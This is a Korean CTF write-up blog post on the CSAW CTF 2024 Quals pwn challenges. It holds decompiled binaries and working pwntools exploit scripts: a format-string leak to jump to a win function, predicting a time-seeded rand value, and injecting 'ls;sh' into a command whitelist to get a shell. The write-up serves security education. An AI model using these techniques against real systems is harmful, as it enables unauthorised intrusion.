ssongk
ssongk
ssongk
전체 방문자
오늘
어제

공지사항

  • resources
  • 분류 전체보기 (626)
    • CTF (24)
    • background (79)
      • fuzzing (5)
      • linux (29)
      • linux kernel (15)
      • windows (2)
      • web assembly (1)
      • embedded (0)
      • web (13)
      • crypto (9)
      • mobile (1)
      • AI (1)
      • etc.. (3)
    • write-up(pwn) (171)
      • dreamhack (102)
      • pwn.college (4)
      • pwnable.xyz (51)
      • pwnable.tw (3)
      • pwnable.kr (5)
      • G04T (6)
    • write-up(rev) (32)
      • dreamhack (24)
      • reversing.kr (8)
    • write-up(web) (195)
      • dreamhack (63)
      • LOS (40)
      • webhacking.kr (69)
      • websec.fr (3)
      • wargame.kr (6)
      • webgoat (1)
      • G04T (7)
      • suninatas (6)
    • write-up(crypto) (19)
      • dreamhack (16)
      • G04T (1)
      • suninatas (2)
    • write-up(forensic) (53)
      • dreamhack (5)
      • ctf-d (47)
      • suninatas (1)
    • write-up(misc) (13)
      • dreamhack (12)
      • suninatas (1)
    • development (31)
      • Linux (14)
      • Java (13)
      • Python (1)
      • C (2)
      • TroubleShooting (1)
    • 자격증 (8)
    • 이산수학 (1)
    • 정보보안 (0)
hELLO · Designed By 정상우.
ssongk

ssongk

CSAW CTF 2024 Quals (Pwn)
CTF

CSAW CTF 2024 Quals (Pwn)

2024. 9. 15. 00:16

[ solved ]

mini-golfing

더보기
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[8]; // [rsp+0h] [rbp-510h] BYREF
  __int64 v5; // [rsp+8h] [rbp-508h]
  char v6[1264]; // [rsp+10h] [rbp-500h] BYREF
  void (__fastcall *v7)(const char *, _QWORD); // [rsp+500h] [rbp-10h] BYREF
  void (__fastcall *v8)(const char *, _QWORD); // [rsp+508h] [rbp-8h]

  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  fflush(_bss_start);
  fflush(stdin);
  *s = 0LL;
  v5 = 0LL;
  memset(v6, 0, sizeof(v6));
  puts("Welcome to PWN GOLF.");
  printf("Would you like to enter your name? ");
  fgets(s, 0x400, stdin);
  printf("hello: ");
  printf(s);
  printf("\nAlright! Tell me the address you want to aim at!: ");
  __isoc99_scanf("%lx", &v7);
  v8 = v7;
  printf("Ok jumping to that address...");
  v8("Ok jumping to that address...", &v7);
  return 0;
}

 

fsb 터지고 win 함수도 있어서 간단하게 풀 수 있다.

from pwn import *

# p = process('./golf')
p = remote('golfing.ctf.csaw.io', 9999)

pay = b'%p.'*300
p.sendlineafter(b'name?',pay)
p.recvuntil(b'hello: ')

tmp = 0
while 1:
	tmp = p.recvuntil(b'.')[:-1]
	if tmp == b'(nil)':
		continue
	else:
		tmp = int(tmp,16)
		if tmp & 0xfff == 0x120:
			print('find it!')
			break

pie = tmp - 0x1120
win = pie + 0x1209
print('[win]',hex(win))

p.sendlineafter(b'at!: ',str(hex(win)))
p.interactive()

 

nix-philosophies

더보기
int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rax
  __int64 v4; // rax
  __int64 v5; // rax
  __int64 v6; // rax
  __int64 v7; // rax
  __int64 v8; // rax
  int v10; // [rsp+4h] [rbp-28Ch]
  int i; // [rsp+8h] [rbp-288h]
  __int64 v12; // [rsp+10h] [rbp-280h] BYREF
  __int64 v13; // [rsp+18h] [rbp-278h] BYREF
  char *v14; // [rsp+20h] [rbp-270h]
  __int64 *v15; // [rsp+28h] [rbp-268h]
  char v16[32]; // [rsp+30h] [rbp-260h] BYREF
  char v17[256]; // [rsp+50h] [rbp-240h] BYREF
  __int64 v18; // [rsp+150h] [rbp-140h] BYREF
  char v19; // [rsp+267h] [rbp-29h] BYREF
  unsigned __int64 v20; // [rsp+268h] [rbp-28h]

  v20 = __readfsqword(0x28u);
  std::string::basic_string(v16, argv, envp);
  std::operator<<<std::char_traits<char>>(&_bss_start, "Tell me what you know about *nix philosophies: ");
  std::operator>><char>(&std::cin, v16);
  v10 = 0;
  for ( i = 1; i < std::string::size(v16); ++i )
  {
    v19 = *std::string::operator[](v16, i);
    v15 = &v13;
    std::string::basic_string(v17, &v19, 1LL, &v13);
    std::__new_allocator<char>::~__new_allocator(&v13);
    v14 = v17;
    v12 = std::string::begin(v17);
    v13 = std::string::end(v14);
    while ( __gnu_cxx::operator!=<char *,std::string>(&v12, &v13) )
    {
      v10 += *__gnu_cxx::__normal_iterator<char *,std::string>::operator*(&v12);
      __gnu_cxx::__normal_iterator<char *,std::string>::operator++(&v12);
    }
    std::string::~string(v17);
  }
  read(v10 - 0x643, buf, 0x20uLL);
  if ( !strcmp("make every program a filter\n", buf) )
  {
    std::ifstream::basic_ifstream(v17, "flag.txt", 8LL);
    if ( std::ios::good(&v18) )
    {
      v3 = std::ostream::operator<<(&_bss_start, &std::endl<char,std::char_traits<char>>);
      v4 = std::operator<<<std::char_traits<char>>(v3, "Welcome to pwning ^_^");
      std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
      system("/bin/cat flag.txt");
    }
    else
    {
      v5 = std::ostream::operator<<(&_bss_start, &std::endl<char,std::char_traits<char>>);
      v6 = std::operator<<<std::char_traits<char>>(v5, "flag.txt: No such file or directory");
      std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
      v7 = std::operator<<<std::char_traits<char>>(
             &_bss_start,
             "If you're running this locally, then running it on the remote server should give you the flag!");
      std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
    }
    std::ifstream::~ifstream(v17);
  }
  else
  {
    v8 = std::operator<<<std::char_traits<char>>(&_bss_start, "You still lack knowledge about *nix sorry");
    std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
  }
  std::string::~string(v16);
  return 0;
}

 

대충 디버깅하면서 조건 맞춰주면 플래그가 나온다.

from pwn import *

context.log_level = 'debug'

p = process('./chal')
p = remote('nix.ctf.csaw.io', 1000)

# gdb.attach(p,
# 	'''
# 	b*main+0x1ce
# 	''')

pay = b'\x33'*0x1f + b'\x49'

p.sendlineafter(b'philosophies: ',pay)
p.sendline(b'make every program a filter')

p.interactive()

 

 

[ unsolved ]

diving-into-null

더보기

못 풀었는데 그냥 misc 느낌의 문제였다.

cd                                                           # Go to groot's home dir
echo .*                                                      # list hidden files
while FSTREAM= read -r line; do echo "$line"; done < .flag   # read the flag file

 

vip_blacklist

더보기

명령을 어떻게 바꿀지 고민하다가 못 풀었다.

거의 다 풀었는데 마지막에 헤맨 것 같아서 아쉽다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  fflush(stdout);
  handle_client();
  return 0;
}
unsigned __int64 handle_client()
{
  unsigned int v1; // [rsp+Ch] [rbp-A4h]
  int v2; // [rsp+10h] [rbp-A0h]
  unsigned int i; // [rsp+14h] [rbp-9Ch]
  char s2[16]; // [rsp+18h] [rbp-98h] BYREF
  FILE *stream; // [rsp+28h] [rbp-88h]
  char src[10]; // [rsp+36h] [rbp-7Ah] BYREF
  char s[32]; // [rsp+40h] [rbp-70h] BYREF
  char dest[12]; // [rsp+60h] [rbp-50h] BYREF
  int v9; // [rsp+6Ch] [rbp-44h]
  __int64 v10; // [rsp+70h] [rbp-40h]
  __int64 v11; // [rsp+78h] [rbp-38h]
  __int64 v12; // [rsp+80h] [rbp-30h]
  __int64 v13; // [rsp+88h] [rbp-28h]
  __int64 v14; // [rsp+90h] [rbp-20h]
  __int64 v15; // [rsp+98h] [rbp-18h]
  unsigned __int64 v16; // [rsp+A8h] [rbp-8h]

  v16 = __readfsqword(0x28u);
  v1 = 0x14;
  randGen(s2);
  puts(
    "\"Welcome to the club. It's ok, don't be in a rush. You've got all the time in the world. As long as you are a vip that is.\"");
  displayCommands();
  while ( fgets(s, 0x20, stdin) )
  {
    s[strcspn(s, "\n")] = 0;
    if ( !strcmp(s, "exit") )
    {
      puts("Bye!");
      return v16 - __readfsqword(0x28u);
    }
    if ( !strcmp(s, *(const char **)s2) && strcmp(whitelist, "queue") )
    {
      puts("\nAh VIP, please come this way...");
      allowCopy();
    }
    sprintf(src, s);
    strcpy(dest, "Executing: ");
    v9 = 0;
    v10 = 0LL;
    v11 = 0LL;
    v12 = 0LL;
    v13 = 0LL;
    v14 = 0LL;
    v15 = 0LL;
    strcat(dest, src);
    strcpy(&dest[strlen(dest)], "...\n");
    puts(dest);
    v2 = 0;
    for ( i = 0; i <= 3; ++i )
    {
      if ( !strcmp(s, &whitelist[6 * i]) )
      {
        v2 = 1;
        break;
      }
    }
    if ( !v2 )
    {
      *(_QWORD *)&s2[8] = "Command not allowed\n";
      printf("%s", "Command not allowed\n");
      goto LABEL_22;
    }
    if ( !strcmp(s, "queue") )
    {
      printf("You are currently in position: %d\n", v1);
    }
    else
    {
      stream = popen(s, "r");
      if ( !stream )
      {
        perror("Error executing command");
        return v16 - __readfsqword(0x28u);
      }
      while ( fgets(s, 0x20, stream) )
        printf("%s", s);
      pclose(stream);
      if ( !--v1 )
      {
        puts("Hello! You are at the front of the queue now. Oh hold on one second");
        puts("I'm getting some new info...");
        kickOut();
      }
LABEL_22:
      displayCommands();
    }
  }
  return v16 - __readfsqword(0x28u);
}
_QWORD *__fastcall randGen(_QWORD *a1)
{
  unsigned int v1; // eax
  _QWORD *result; // rax
  unsigned __int64 i; // [rsp+10h] [rbp-10h]
  _BYTE *v4; // [rsp+18h] [rbp-8h]

  v4 = malloc(0xAuLL);
  v1 = time(0LL);
  srand(v1);
  for ( i = 0LL; i <= 9; ++i )
    v4[i] = rand();
  result = a1;
  *a1 = v4;
  return result;
}
int displayCommands()
{
  unsigned int i; // [rsp+Ch] [rbp-4h]

  printf("\nCommands: ");
  for ( i = 0; i <= 3; ++i )
    printf("%s ", &whitelist[6 * i]);
  return putchar(0xA);
}
unsigned __int64 allowCopy()
{
  int i; // [rsp+8h] [rbp-88h]
  int j; // [rsp+Ch] [rbp-84h]
  int k; // [rsp+10h] [rbp-80h]
  unsigned __int64 m; // [rsp+18h] [rbp-78h]
  ssize_t read_num; // [rsp+20h] [rbp-70h]
  _BYTE cmd_list[24]; // [rsp+30h] [rbp-60h] BYREF
  char buf[40]; // [rsp+50h] [rbp-40h] BYREF
  unsigned __int64 v8; // [rsp+78h] [rbp-18h]

  v8 = __readfsqword(0x28u);
  puts(
    "You may add a new command, \"queue\", to your possible commands which will give you your position. \n"
    "If you would not like this, just press enter.");
  displayCommands();
  read_num = read(0, buf, 0x20uLL);
  if ( read_num < 0 )
  {
    perror("Error reading from stdin");
    exit(1);
  }
  buf[strcspn(buf, "\n")] = 0;
  for ( i = 0; i < strlen("queue") + 1; ++i )
  {
    if ( buf[i] != s2[i] )
      kickOut();
  }
  puts("\"We are currently getting you a valet to inform you of your queue position\nPlease wait one second...\"");
  *(_QWORD *)&cmd_list[0x10] = 0LL;
  strcpy(cmd_list, "clear");
  // exit
  *(_DWORD *)&cmd_list[6] = 0x74697865;
  *(_WORD *)&cmd_list[0xA] = 0;
  // ls
  *(_DWORD *)&cmd_list[0xC] = 0x736C;
  for ( j = 3; j >= 0; --j )
    strcpy(&whitelist[6 * j], &whitelist[6 * j - 6]);
  for ( k = 0; k < read_num - 1; ++k )
    whitelist[k] = buf[k];
  if ( !(unsigned int)safety(cmd_list) )
    kickOut();
  sleep(1u);
  puts("\"The valet has arrived, feel free to check your queue position now.\"");
  for ( m = 0LL; m < 4; ++m )
    puts(&whitelist[6 * m]);
  return v8 - __readfsqword(0x28u);
}
__int64 __fastcall safety(char *cmd_list)
{
  unsigned __int64 idx; // [rsp+18h] [rbp-18h]
  size_t i; // [rsp+20h] [rbp-10h]
  _BOOL8 is_queue; // [rsp+28h] [rbp-8h]

  is_queue = strcmp(whitelist, "queue") == 0;
  for ( idx = is_queue; idx <= 3; ++idx )
  {
    if ( strlen(&whitelist[6 * idx]) > 5 )
      kickOut();
    for ( i = 0LL; i < strlen(&cmd_list[6 * (idx - is_queue)]); ++i )
    {
      if ( cmd_list[6 * (idx - is_queue) + i] != whitelist[6 * idx + i] )
        kickOut();
    }
  }
  return 1LL;
}
void __noreturn kickOut()
{
  puts("\"You are not a real VIP. Follow this person out.\"");
  exit(1);
}

 

랜덤 값을 만드는데 seed가 time(0)으로 고정이라 ctype으로 맞춰줄 수 있다.

libc는 아마 브포로 유추하면 되지 않을까싶다.

(wsl로 했을 때 잘 됐던 걸로 기억하는데 깃헙에 올라온 문제 파일 보니까 ubuntu 22.04 였음)

 

vip 인증을 하면 명령어를 추가할 수 있다.

strlen으로 5문자만 입력할 수 있는데, ls 이후 빈 공간을 활용해서 ls;sh를 만들어 줄 수 있다.

from pwn import *
from ctypes import *

context.log_level = 'debug'

p = process('./vip_blacklist')
libc = CDLL('/usr/lib/x86_64-linux-gnu/libc.so.6')

# b*allowCopy+0x1ea
# gdb.attach(p,
# 	'''
# 	b*safety
# 	''')

ren = b''
libc.srand(libc.time(0))
for i in range(10):
	ren += int.to_bytes(libc.rand()&0xff,1,'little')

p.sendlineafter(b'ls',ren)
p.sendlineafter(b'queue',b'queue\x00clear\x00exit\x00\x00ls;sh\x00')

p.interactive()

 


 

https://github.com/osirislab/CSAW-CTF-2024-Quals/tree/main/pwn

 

CSAW-CTF-2024-Quals/pwn at main · osirislab/CSAW-CTF-2024-Quals

Public Archive for CSAW 2024 Quals. Contribute to osirislab/CSAW-CTF-2024-Quals development by creating an account on GitHub.

github.com

 

'CTF' 카테고리의 다른 글

SEKAI CTF 2024 (Pwn) - nolibc  (0) 2024.08.26
DeadSec CTF 2024 (Pwn)  (0) 2024.07.28
ImaginaryCTF 2024 (Pwn)  (5) 2024.07.22
DownUnderCTF 2024 (Pwn)  (0) 2024.07.08
[hxpCTF 2020] kernel-rop (with write-up) (2)  (0) 2024.06.30
    'CTF' 카테고리의 다른 글
    • SEKAI CTF 2024 (Pwn) - nolibc
    • DeadSec CTF 2024 (Pwn)
    • ImaginaryCTF 2024 (Pwn)
    • DownUnderCTF 2024 (Pwn)
    ssongk
    ssongk
    벌레 사냥꾼이 되고 싶어요

    티스토리툴바